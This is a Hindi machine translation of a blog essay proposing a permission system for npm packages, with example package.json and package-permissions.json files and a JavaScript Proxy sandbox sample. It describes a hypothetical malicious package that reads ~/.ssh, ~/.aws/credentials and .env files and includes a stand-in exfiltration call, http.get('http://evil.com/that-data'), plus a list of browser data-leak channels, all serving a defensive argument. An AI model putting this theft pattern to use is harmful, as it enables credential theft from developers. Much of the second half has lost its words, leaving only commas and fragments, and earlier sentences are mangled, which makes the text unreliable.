एक विचार है: npm संकुल के लिए अनुमति प्रणाली

कुछ दिनों पहले, मैंने पहली बार एक नए फोन पर कैलकुलेटर लॉन्च किया और यह संदेश देखा: "कैलकुलेटर आपके संपर्कों तक पहुंचना चाहेगा।"


पहले तो यह संदेश मुझे थोड़ा दुखद लगा (ऐसा लगता था कि कैलकुलेटर अकेला था), लेकिन इस मामले ने मुझे सोचने पर मजबूर कर दिया ...

क्या होगा अगर, फोन एप्लिकेशन की तरह, एनपीएम पैकेजों को अपने काम के लिए आवश्यक अनुमतियां घोषित करने की आवश्यकता होगी? इस दृष्टिकोण के साथ, package.json पैकेज फ़ाइल कुछ इस तरह दिख सकती है:

 { "name": "fancy-logger", "version": "0.1.0", "permissions": {   "browser": ["network"],   "node": ["http", "fs"] }, "etcetera": "etcetera" } 

Npmjs.com पर, पैकेज पेज के एक हिस्से की अनुमति के बारे में जानकारी के साथ इसे इस तरह देख सकते हैं।


ऐसा अनुमति अनुभाग npm रजिस्ट्री साइट पर संकुल के लिए उपलब्ध हो सकता है।
किसी पैकेज के लिए इस तरह की अनुमति सूचियाँ अपनी स्वयं की अनुमतियों के साथ अपनी सभी निर्भरताओं की अनुमतियों का एक संयोजन हो सकती हैं।

fancy-logger पैकेज की permissions की सामग्री पर एक नज़र डेवलपर को यह सोचने पर fancy-logger सकता है कि कंसोल को कुछ लिखने वाले पैकेज को http मॉड्यूल तक पहुंच की आवश्यकता क्यों है और यह कुछ संदिग्ध लगता है।

वह दुनिया क्या होगी जिसमें npm संकुल के लिए समान अनुमति प्रणाली का उपयोग किया जाएगा? शायद किसी को इसमें बात नहीं दिखाई देगी, क्योंकि वह पूरी तरह से सुरक्षित महसूस करता है, उदाहरण के लिए, समय-परीक्षणित प्रकाशकों से केवल विश्वसनीय पैकेज का उपयोग करना। सभी के लिए जो इसे कमजोर महसूस करने के लिए पढ़ता है, यहां एक छोटी कहानी है।

मैं आपके पर्यावरण चरों को कैसे चुराता हूँ इसकी कहानी

मैं एक एनपीएम पैकेज बनाना चाहता था जिसे space-invaders कहा जाता space-invaders । यह जानना दिलचस्प था कि कंसोल में काम करने वाले गेम को लिखकर गेम कैसे बनाया जाता है, और साथ ही साथ npm संकुल से संबंधित कमजोरियों पर मेरी बात को प्रमाणित करता है।

आप इस गेम को इस कमांड से चला सकते हैं: npx space-invaders । इसके लॉन्च के बाद, कोई भी तुरंत एलियंस पर शूटिंग शुरू कर सकता है और समय को मार सकता है।

आप इस खेल को पसंद करेंगे, आप इसे दोस्तों के साथ साझा करेंगे, वे भी इसे पसंद करेंगे।

यह सब बहुत सकारात्मक दिखता है, लेकिन, आपका मनोरंजन करते हुए, खेल space-invaders अपना space-invaders , अर्थात् कुछ डेटा का संग्रह। यह ~/.aws/credentials ~/.ssh/ , ~/.aws/credentials से, ~/.aws/credentials और अन्य समान स्थानों से जानकारी एकत्र करेगा। सभी .env फ़ाइलों की सामग्री पढ़ें, जो process.env तक पहुंच सकती है .env , लुक सहित process.env git कॉन्फ़िगरेशन के लिए (यह जानने के लिए कि यह किसकी जानकारी एकत्र करता है), और फिर वह यह सब मेरे सर्वर पर भेजता है।

मैंने ऐसा कोई खेल नहीं लिखा है, लेकिन कुछ समय से मैं असहज महसूस कर रहा था, और जब मैं npm install कमांड चलाता हूं, तो मुझे लगता है कि मेरा सिस्टम कितना कमजोर है। अब, स्थापना के प्रगति संकेतक को देखते हुए, मैं सोचता हूं कि मेरे लैपटॉप पर कितने मानक फ़ोल्डर और फाइलें हैं जिनकी सामग्री गलत हाथों में नहीं पड़नी चाहिए।

और यह सिर्फ मेरे कार्यक्षेत्र के बारे में नहीं है। उदाहरण के लिए, मुझे यह भी पता नहीं है कि उत्पादन सर्वर डेटाबेस से जुड़ने के लिए मेरी साइट असेंबली प्रणाली के कुछ पर्यावरण चर में डेटा हैं या नहीं। यदि कहीं ऐसा डेटा है, तो आप ऐसी स्थिति की कल्पना कर सकते हैं जिसमें एक दुर्भावनापूर्ण npm-package मेरे कार्यशील डेटाबेस से जुड़ने के लिए डिज़ाइन किए गए सिस्टम में एक स्क्रिप्ट स्थापित करता है। तब यह स्क्रिप्ट SELECT * from users आदेश SELECT * from users निष्पादित करता है, फिर http.get('http://evil.com/that-data') । शायद ऐसे हमलों की संभावना के कारण यह ठीक था कि मुझे सलाह दी गई थी कि पासवर्ड को सादे पाठ में डेटाबेस में संग्रहीत नहीं किया जाना चाहिए?

यह सब बहुत डरावना लग रहा है, और सबसे अधिक संभावना पहले से ही हो रही है (हालांकि यह कहना बिल्कुल असंभव है कि यह हो रहा है या नहीं)।

इसके साथ, शायद, हम महत्वपूर्ण डेटा की चोरी के परिणामों के बारे में बात करना बंद कर देंगे। चलो npm संकुल के लिए अनुमतियों के विषय पर वापस आते हैं।

लॉक की अनुमति परिवर्तन

मुझे लगता है कि यह npm साइट को देखते समय पैकेज द्वारा आवश्यक अनुमतियों को देखने में सक्षम होने के लिए बहुत अच्छा होगा। लेकिन यह ध्यान दिया जाना चाहिए कि अनुमतियों को देखने की क्षमता केवल तब ही अच्छी होती है जब किसी विशिष्ट समय पर लागू होती है, वास्तव में, यह वास्तविक समस्या को हल नहीं करता है।

Npm में एक हालिया घटना में, किसी ने पहले दुर्भावनापूर्ण कोड के साथ एक पैकेज का पैच संस्करण प्रकाशित किया, और फिर एक मामूली संस्करण प्रकाशित किया जिसमें से दुर्भावनापूर्ण कोड पहले ही हटा दिया गया था। इन दो घटनाओं के बीच का समय खतरनाक पैकेज के कई उपयोगकर्ताओं को खतरे में डालने के लिए पर्याप्त था।

यही समस्या है। ऐसे पैकेज नहीं जो मैलवेयर द्वारा बनाए गए हैं और हर समय बने रहते हैं। समस्या यह है कि एक उचित रूप से विश्वसनीय पैकेज में आप चुपचाप कुछ बुरा जोड़ सकते हैं और थोड़ी देर के बाद इसे वहां से हटा सकते हैं।

परिणामस्वरूप, हम कह सकते हैं कि हमें संकुल द्वारा प्राप्त अनुमतियों के सेट को अवरुद्ध करने के लिए एक तंत्र की आवश्यकता है।

शायद यह package-permissions.json फ़ाइल जैसा कुछ होगा जो Node.js और ब्राउज़र के लिए अनुमतियाँ सेट करता है और इसमें उन पैकेजों की एक सूची होती है जिन्हें इन अनुमतियों की आवश्यकता होती है। इस दृष्टिकोण के साथ, ऐसी फ़ाइल में सभी पैकेजों को सूचीबद्ध करना आवश्यक होगा, न कि केवल उन लोगों के लिए जो परियोजना के package.json फ़ाइल की dependencies अनुभाग में हैं।

यहाँ package-permissions.json क्या हैं। package-permissions.json फ़ाइल दिख सकती है।

 { "node": {   "http": [     "express",     "stream-http"   ],   "fs": [     "fs-extra",     "webpack",     "node-sass"   ] }, "browser": {   "network": [     "whatwg-fetch",     "new-relic"   ] } } 

ऐसी फ़ाइल के वास्तविक संस्करण में बहुत अधिक पैकेज प्रविष्टियाँ हो सकती हैं।

अब कल्पना करें कि एक दिन आप दो सौ निर्भरता वाले एक पैकेज को अपडेट करते हैं जिसे अपडेट भी किया जाएगा। इन निर्भरताओं में से एक के लिए एक पैच संस्करण प्रकाशित किया गया है, जिसे अचानक http Node.js.

यदि ऐसा होता है, तो npm install कमांड निम्नलिखित के समान संदेश के साथ विफल हो जाएगा: “ add-two-number पैकेज के लिए fancy-logger पैकेज की जरूरत है जो http Node.js. तक पहुंच का अनुरोध करता है। इसे हल करने के लिए npm update-permissions add-two-numbers कमांड चलाएँ, फिर npm install कमांड फिर से चलाएँ। "

यहां, fancy-logger पैकेज है जो आपके package.json में है। package.json फ़ाइल (यह मानते हुए कि आप इस पैकेज से परिचित हैं), और add-two-numbers पैकेज एक fancy-logger निर्भरता है जिसे आपने कभी नहीं सुना है।

बेशक, भले ही निर्भरता को "ब्लॉक" करने के लिए सिस्टम में एक फ़ाइल है, कुछ डेवलपर्स बिना कुछ सोचे-समझे नई अनुमतियों की पुष्टि करेंगे। लेकिन, कम से कम, package-permissions.json में एक बदलाव।जेसन पुल अनुरोध में दिखाई देगा, अर्थात, एक और मौका होगा कि एक और अधिक जिम्मेदार डेवलपर इस पर ध्यान देगा।

इसके अलावा, अनुरोधित अनुमतियों में परिवर्तन के लिए npm रजिस्ट्री की आवश्यकता होती है जब पैकेज संकुल को सूचित करने के लिए खुद ही स्थिति बदल जाती है जब उनके पैकेजों की निर्भरता पेड़ में कहीं बदल जाती है। शायद - यह निम्नलिखित सामग्रियों के साथ ई-मेल द्वारा किया जाएगा:

"नमस्ते, fancy-logger लेखक। हम आपको सूचित करते हैं कि add-two-number , पैकेज जिसकी क्षमताओं का आप उपयोग करते हैं, http मॉड्यूल के साथ काम करने की अनुमति का अनुरोध किया। आपके पैकेज अनुमतियाँ, जैसा कि npmjs.com/package/fancy-logger पर दिखाया गया है, तदनुसार अपडेट किया गया है। ”

यह, निश्चित रूप से, संकुल के लेखक और स्वयं npm दोनों के काम में जोड़ देगा, लेकिन ये चीजें उन पर थोड़ा समय बिताने के योग्य होंगी। इस मामले में, add-two-numbers के लेखक को पूरी तरह से यकीन हो सकता है कि अगर वह http मॉड्यूल के साथ काम करने की अनुमति मांगता है, तो इससे दुनिया भर में कई "अलार्म" शुरू हो जाएंगे।

जो हमें चाहिए। हाँ? मैं उम्मीद करना चाहूंगा कि टेलीफोन अनुप्रयोगों के मामले में, और यहां तक ​​कि क्रोम के लिए एक्सटेंशन के मामले में, पैकेज जिन्हें कम अनुमतियों की आवश्यकता होती है, उन उपयोगकर्ताओं की तुलना में अधिक लोकप्रिय होंगे, जिन्हें सिस्टम के लिए एक उच्च स्तरीय पहुंच की आवश्यकता होती है। यह बदले में, पैकेज लेखकों को उनके विकास के लिए आवश्यक अनुमतियों का चयन करते समय बहुत अच्छी तरह से सोचने देगा।

मान लीजिए कि एनपीएम एक अनुमति प्रणाली शुरू करने का फैसला करता है। इस तरह की प्रणाली शुरू करने के पहले दिन, सभी पैकेजों को पूर्ण अनुमतियों की आवश्यकता समझी जाएगी (ऐसा निर्णय बाद में किया जाएगा - उन मामलों में जहां permissions package.json में गायब है package.json )।

पैकेज का लेखक, जो यह दावा करना चाहता है कि उसके पैकेज को विशेष अनुमति की आवश्यकता नहीं है, package.json में permissions अनुभाग को जोड़ने में रुचि रखेगा। एक खाली वस्तु के रूप में। और, यदि पैकेज के लेखक पर्याप्त रुचि रखते हैं, ताकि निर्भरता की अनुमति उनके पैकेज को "बोझ" न करें, तो वे यह सुनिश्चित करने की कोशिश करेंगे कि इन निर्भरता पैकेजों को भी विशेष अनुमतियों की आवश्यकता नहीं है, उदाहरण के लिए, निर्भरता भंडार में उचित पुल अनुरोध करके।

इसके अलावा, पैकेज का प्रत्येक लेखक अपनी निर्भरता को तोड़ने पर अपने पैकेज की भेद्यता के जोखिम को कम करने का प्रयास करेगा। इसलिए, यदि पैकेज के लेखक निर्भरता का उपयोग करते हैं जिन्हें अनुमतियों की आवश्यकता होती है, जो, ऐसा लगता है, की आवश्यकता नहीं है, तो उनके पास अन्य पैकेजों का उपयोग करने के लिए स्विच करने के लिए एक प्रोत्साहन होगा।

और डेवलपर्स के मामले में जो एप्लिकेशन बनाते समय npm- पैकेज का उपयोग करते हैं, यह उन्हें अपनी परियोजनाओं में उपयोग किए जाने वाले पैकेजों पर विशेष ध्यान देने के लिए मजबूर करेगा, मुख्य रूप से उन लोगों को चुनना जिन्हें विशेष अनुमति की आवश्यकता नहीं है। उसी समय, निश्चित रूप से, कुछ पैकेज, उद्देश्य कारणों के लिए, उन अनुमतियों की आवश्यकता होगी जो समस्याएं पैदा कर सकती हैं, लेकिन ऐसे पैकेज डेवलपर्स के विशेष नियंत्रण में होने की संभावना है।

शायद ग्रीनकीपर की तरह कुछ इन सभी समस्याओं को हल करने में मदद कर सकता है।

और अंत में, package-permissions.json फ़ाइल एक सुरक्षा पेशेवर के लिए एक आसान-से-समझने वाला सारांश प्रदान करेगी, जो एक आवेदन में संभावित "छेद" का मूल्यांकन करता है और आपको विवादास्पद पैकेज और उनकी अनुमतियों के बारे में विशिष्ट प्रश्न पूछने की अनुमति देता है।

नतीजतन, मुझे उम्मीद है कि यह सरल permissions संपत्ति लगभग 800,000 एनपीएम पैकेजों के बीच व्यापक रूप से फैल सकती है और एनपीएम को सुरक्षित बना सकती है।

बेशक, यह संभावित हमलों को नहीं रोकेगा। जिस प्रकार मोबाइल एप्लिकेशन द्वारा अनुरोधित अनुमतियां आधिकारिक साइटों के माध्यम से वितरित दुर्भावनापूर्ण मोबाइल एप्लिकेशन बनाने में असंभव नहीं बनाती हैं। लेकिन यह "अटैक सरफेस" को उन संकुलों तक सीमित कर देगा जो कंप्यूटर सिस्टम के लिए खतरा पैदा कर सकने वाले कुछ कार्यों को करने के लिए स्पष्ट रूप से अनुमति मांगते हैं। इसके अलावा, यह जानना दिलचस्प होगा कि कितने प्रतिशत पैकेजों को किसी विशेष अनुमति की आवश्यकता नहीं है।

यह वही तंत्र है जो npm संकुल के लिए अनुमतियों के साथ काम करने के लिए है जो मैंने सोचा था कि जैसा दिखता है। यदि यह विचार एक वास्तविकता बन जाता है, तो हम या तो इस तथ्य पर भरोसा कर सकते हैं कि हमलावर अनुमतियों की घोषणा करके अपने पैकेजों का ईमानदारी से वर्णन करेंगे, या उनके द्वारा अनुरोधित अनुमतियों के अनुसार पैकेजों की क्षमताओं के जबरन प्रतिबंध के साथ अनुमतियों को घोषित करने की प्रणाली को संयोजित करेंगे। यह एक दिलचस्प सवाल है। इसे Node.js और ब्राउज़रों पर लागू होने के रूप में देखते हैं।

Node.js में उनके द्वारा अनुरोधित अनुमतियों के अनुसार पैकेज प्रतिबंधों को लागू करना

यहां मुझे इस तरह के प्रतिबंध लागू करने के दो संभावित विकल्प दिखाई देते हैं।

▍ विकल्प 1: सुरक्षा उपायों के लिए विशेष एनपीएम पैकेज

Npm (या कुछ अन्य संगठन समान रूप से आधिकारिक और दूरदर्शी) द्वारा बनाए और बनाए एक पैकेज की कल्पना करें। इस पैकेज को @npm/permissions कहा जाता है।

इस तरह के पैकेज को या तो पहले आयात कमांड के साथ एप्लिकेशन कोड में शामिल किया जाएगा, या एप्लिकेशन node -r @npm/permissions index.js कमांड के साथ लॉन्च किए जाएंगे।

एक पैकेज अन्य आयात आदेशों को ओवरराइड कर देगा ताकि वे package.json के permissions खंड में बताई गई अनुमतियों का उल्लंघन न करें। अन्य पैकेजों की फाइलों को जमा करें। अगर एक निश्चित lovely-logger पैकेज के लेखक ने Node.js http मॉड्यूल में इस पैकेज की आवश्यकता की घोषणा नहीं की है, तो इसका मतलब है कि इस पैकेज को इस मॉड्यूल द्वारा एक्सेस नहीं किया जा सकता है।

पूरी तरह से बोलना, पूरे Node.js मॉड्यूल को अवरुद्ध करना इस तरह से आदर्श नहीं है। उदाहरण के लिए, npm methods पैकेज Node.js http मॉड्यूल को लोड करता है, लेकिन इसका उपयोग करके कोई डेटा नहीं भेजता है। यह सिर्फ http.METHODS ऑब्जेक्ट लेता है, इसके नाम को http.METHODS परिवर्तित करता है, और इसे एक क्लासिक npm पैकेज के रूप में निर्यात करता है। अब ऐसा पैकेज एक हमलावर के लिए एक महान लक्ष्य जैसा दिखता है - उसके पास प्रति सप्ताह 6 मिलियन डाउनलोड हैं, जबकि वह 3 वर्षों से नहीं बदला है। मैं इस पैकेज के लेखकों को लिख सकता हूं और उन्हें अपनी रिपॉजिटरी देने के लिए आमंत्रित कर सकता हूं।

methods पैकेज को ध्यान में रखते हुए, यह विचार करना बेहतर होगा कि इसके लिए network अनुमति की आवश्यकता नहीं है, और अनुमति नहीं जो http मॉड्यूल तक पहुंच प्रदान करती है। फिर यह प्रतिबंध बाहरी तंत्र का उपयोग करके तय किया जा सकता है और इस पैकेज के किसी भी प्रयास को बेअसर करने के लिए सिस्टम से कुछ डेटा भेज सकता है जिसमें यह काम करता है।

काल्पनिक पैकेज @npm/permissions एक पैकेज से किसी भी अन्य पैकेज तक पहुंच को प्रतिबंधित कर सकती हैं जो इसकी निर्भरता के रूप में सूचीबद्ध नहीं थे। यह पैकेज को रोक देगा, उदाहरण के लिए, fs-extra और request जैसी किसी चीज़ को आयात करने से, और फ़ाइल सिस्टम से डेटा पढ़ने और एक हमलावर को रीड डेटा भेजने के लिए इन पैकेजों की क्षमताओं का उपयोग करें।

इसी तरह, "आंतरिक" और "बाहरी" डिस्क एक्सेस के बीच अंतर करना उपयोगी हो सकता है। मैं काफी खुश हूं कि node-sass को मेरी परियोजना की निर्देशिका के भीतर स्थित सामग्रियों तक पहुंच की आवश्यकता है, लेकिन मुझे कोई कारण नहीं है कि इस पैकेज को इस निर्देशिका के बाहर किसी भी चीज तक पहुंच की आवश्यकता है।

शायद, अनुमति प्रणाली की शुरुआत की शुरुआत में, मैन्युअल रूप से परियोजनाओं में @npm/permissions पैकेज को जोड़ना होगा। शायद, संक्रमण काल ​​के दौरान, अपरिहार्य खराबी के उन्मूलन के दौरान, इस तरह के तंत्र का उपयोग करने के लिए यह एकमात्र उचित दृष्टिकोण है। लेकिन वास्तविक सुरक्षा सुनिश्चित करने के लिए, यह आवश्यक है कि इस पैकेज को सिस्टम में कसकर एकीकृत किया जाए, क्योंकि पैकेज स्थापना स्क्रिप्ट को निष्पादित करते समय इसे खाते की अनुमति लेना आवश्यक होगा।

फिर, सबसे अधिक संभावना है, यह पता चला है कि फॉर्म का एक सरल कमांड "enforcePermissions": true प्रोजेक्ट के package.json में "enforcePermissions": true है। परियोजना की "enforcePermissions": true फ़ाइल एनपीएम को उनके द्वारा घोषित अनुमतियों के जबरन उपयोग के साथ किसी भी स्क्रिप्ट को चलाने के लिए "enforcePermissions": true ।

Safe विकल्प 2: सुरक्षित मोड Node.js

Node.js के संचालन का विशेष मोड, सुरक्षा के बढ़े हुए स्तर पर केंद्रित है, जाहिर है, अधिक गंभीर परिवर्तनों की आवश्यकता होगी। लेकिन शायद लंबे समय में, Node.js प्लेटफ़ॉर्म स्वयं प्रत्येक पैकेज द्वारा घोषित अनुमतियों द्वारा निर्धारित प्रतिबंधों को लागू करने में सक्षम होगा।

एक ओर, मुझे पता है कि जो लोग Node.js प्लेटफ़ॉर्म विकसित कर रहे हैं, वे इस प्लेटफ़ॉर्म की समस्याओं को हल करने का प्रयास करते हैं, और npm संकुल की सुरक्षा के बारे में मेरे विचार उनके हितों के दायरे से परे हैं। सब के बाद, अंत में, npm सिर्फ तकनीक है जो Node.js. दूसरी ओर, Node.js डेवलपर्स कॉर्पोरेट उपयोगकर्ताओं को इस प्लेटफ़ॉर्म के साथ काम करने में आत्मविश्वास महसूस करने में रुचि रखते हैं, और सुरक्षा, संभवतः, Node.js के उन पहलुओं में से एक है जिन्हें "समुदाय" पर नहीं छोड़ा जाना चाहिए।

इसलिए, जबकि हमने जो कुछ भी बात की थी, वह बहुत सरल लग रहा था और इस तथ्य से उबला हुआ था कि सिस्टम एक या दूसरे तरीके से नोड द्वारा संचालित क्षमताओं का पालन करेगा।

अब बात करते हैं ब्राउजर्स की। यहां सब कुछ इतना स्पष्ट और समझ में नहीं आता है।

ब्राउज़रों में अनुरोधित अनुमतियों के अनुसार संकुल की क्षमताओं का प्रतिबंध

पहली नज़र में, ब्राउज़रों में पैकेज की क्षमताओं का मजबूर प्रतिबंध और भी सरल दिखता है, क्योंकि ब्राउज़र में चलने वाला कोड विशेष रूप से उस ऑपरेटिंग सिस्टम के संबंध में बहुत कुछ नहीं कर सकता है जिस पर ब्राउज़र चलता है। वास्तव में, ब्राउज़रों के मामले में, आपको केवल असामान्य पते पर डेटा स्थानांतरित करने के लिए पैकेट की क्षमता के बारे में चिंता करने की आवश्यकता है।

यहां समस्या यह है कि उपयोगकर्ता के ब्राउज़र से हमलावर के सर्वर पर डेटा भेजने के अनगिनत तरीके हैं।

इसे एक्सफ़िल्टरेशन या डेटा रिसाव कहा जाता है, और यदि आप एक सुरक्षा पेशेवर से पूछते हैं कि इससे कैसे बचा जाए, तो, वह उस व्यक्ति की नज़र से जिसने बारूद का आविष्कार किया था, आपको npm का उपयोग बंद करने के लिए कहेगा।

मेरा मानना ​​है कि ब्राउज़रों में चलने वाले पैकेजों के लिए, आपको केवल एक संकल्प पर ध्यान देने की आवश्यकता है - वह जो नेटवर्क के साथ काम करने की क्षमता के लिए जिम्मेदार है। चलो इसे network कहते हैं। इस वातावरण में अन्य अनुमतियाँ हो सकती हैं (जैसे कि जो DOM या स्थानीय संग्रहण तक पहुँच को नियंत्रित करते हैं), लेकिन यहाँ मैं इस धारणा से आगे बढ़ता हूँ कि हमारी मुख्य चिंता डेटा रिसाव की संभावना है।

ब्राउज़र से डेटा को कई तरीकों से "हटाया" जा सकता है। यहां मैं 60 सेकंड में याद कर सकता हूं:

• एपीआई fetch ।
• वेब सॉकेट्स
• WebRTC प्रौद्योगिकी।
• EventSource का EventSource ।
• XMLHttpRequest एपीआई
• विभिन्न तत्वों की innerHTML संपत्ति सेट करना (आप नए तत्व बना सकते हैं)।
• new Image() कमांड के साथ एक इमेज ऑब्जेक्ट बनाना new Image() का src गुण डेटा को एक्सफ़िल्टर करने के साधन के रूप में सेवा कर सकता है)।
• window.location , window.location इत्यादि को सेट करना।
• मौजूदा छवि के src गुणों को बदलना, iframe या ऐसा कुछ।
• <form> तत्व की target संपत्ति में परिवर्तन।
• उपरोक्त तंत्रों में से किसी का उपयोग करने के लिए या windows बजाय top या self में कुछ का उपयोग करने के लिए एक चतुराई से डिजाइन स्ट्रिंग का उपयोग windows ।

यह ध्यान दिया जाना चाहिए कि एक अच्छी सामग्री सुरक्षा नीति (सीएसपी) इन खतरों में से कुछ को बेअसर करने में सक्षम है, लेकिन यह उन सभी पर लागू नहीं होता है। अगर कोई मुझे सही कर सकता है, तो मुझे खुशी होगी, लेकिन मेरा मानना ​​है कि आप इस बात पर कभी भरोसा नहीं कर सकते कि सीएसपी आपको पूरी तरह से रिसाव से बचाएगा। एक व्यक्ति ने एक बार मुझे बताया था कि बड़ी संख्या में खतरों के खिलाफ सीएसपी लगभग पूर्ण सुरक्षा प्रदान करता है। इस पर मैंने उत्तर दिया कि आप थोड़ी गर्भवती नहीं हो सकती हैं, और तब से हमने इस व्यक्ति के साथ संवाद नहीं किया है।

यदि आप बुद्धिमानी से ब्राउज़र से डेटा चुराने के तरीकों की खोज करते हैं, तो मुझे यकीन है कि इन विधियों की एक पूरी सूची बनाना काफी यथार्थवादी है।

अब हमें ऐसी सूची से अवसरों के उपयोग पर रोक लगाने के लिए एक तंत्र खोजने की आवश्यकता है।

Webpack (, @npm/permissions-webpack-plugin ), :

• browser package-permissions.json , npm- ( - , ).
• , , , API, .

(, Parcel, Rollup, Browserify ).

, , -. , , , , , .

, ( Lodash, Moment, ), . .

.

 //   (),   ,    function bigFrameworkWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //      const firstDiv = document.querySelector('div'); //    }, }; return module; } //   ( ),   ,    function smallUtilWrapper(newWindow) { /*  --     -- */ const window = newWindow; const document = window.document; //      /*  --    -- */ const module = {   doSomething() {     const newDiv = document.createElement('div'); //      const newScript = document.createElement('script'); //  !     const firstDiv = document.querySelector('div'); //    }, }; return module; } const restrictedWindow = new Proxy(window, { get(target, prop, receiver) {   if (prop === 'document') {     return new Proxy(target.document, {       get(target, prop, receiver) {         if (prop === 'createElement') {           return new Proxy(window.document.createElement, {             apply(target, thisArg, argumentsList) {               if (['script', 'img', 'audio', 'and-so-on'].includes(argumentsList[0])) {                 console.error('A module without permissions attempted to create a naughty element');                 return false;               }               return target.apply(window.document, argumentsList);             },           });         }         const result = Reflect.get(target, prop, receiver);         if (typeof result === 'function') return result.bind(target);         return result;       },     });   }   return Reflect.get(target, prop, receiver); }, }); const bigFramework = bigFrameworkWrapper(window); bigFramework.doSomething(); //   const smallUtil = smallUtilWrapper(restrictedWindow); smallUtil.doSomething(); // ! "A module without permissions attempted to create a naughty element" 

function bigFrameworkWrapper(newWindow) { function smallUtilWrapper(newWindow) { — , . «» .

const newScript = document.createElement('script'); // ! , — script .

const bigFramework = bigFrameworkWrapper(window); const smallUtil = smallUtilWrapper(restrictedWindow); «» . , , .

const restrictedWindow = new Proxy(window, { window , , window , , window.document.createElement DOM .

Proxy .

. , .

, , API, . , , , , , , , , , , «» .

, , , - .

, , , , Proxy . , 90% , . , , . , - , , , .

, , , , , Node.js .

, , HTTP , , , -. यह समझ में आता है।

-, , , . iframe , . sandbox , , . , , , -.

, , sandbox <script> . : <script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script> . , , , - create-react-app , 1.4 , .

, npm , .

, - .

, , - « ...», , , ?

परिणाम

, , , , . , 90% , , , 10% — , .

, , - .

प्रिय पाठकों! , , npm, -?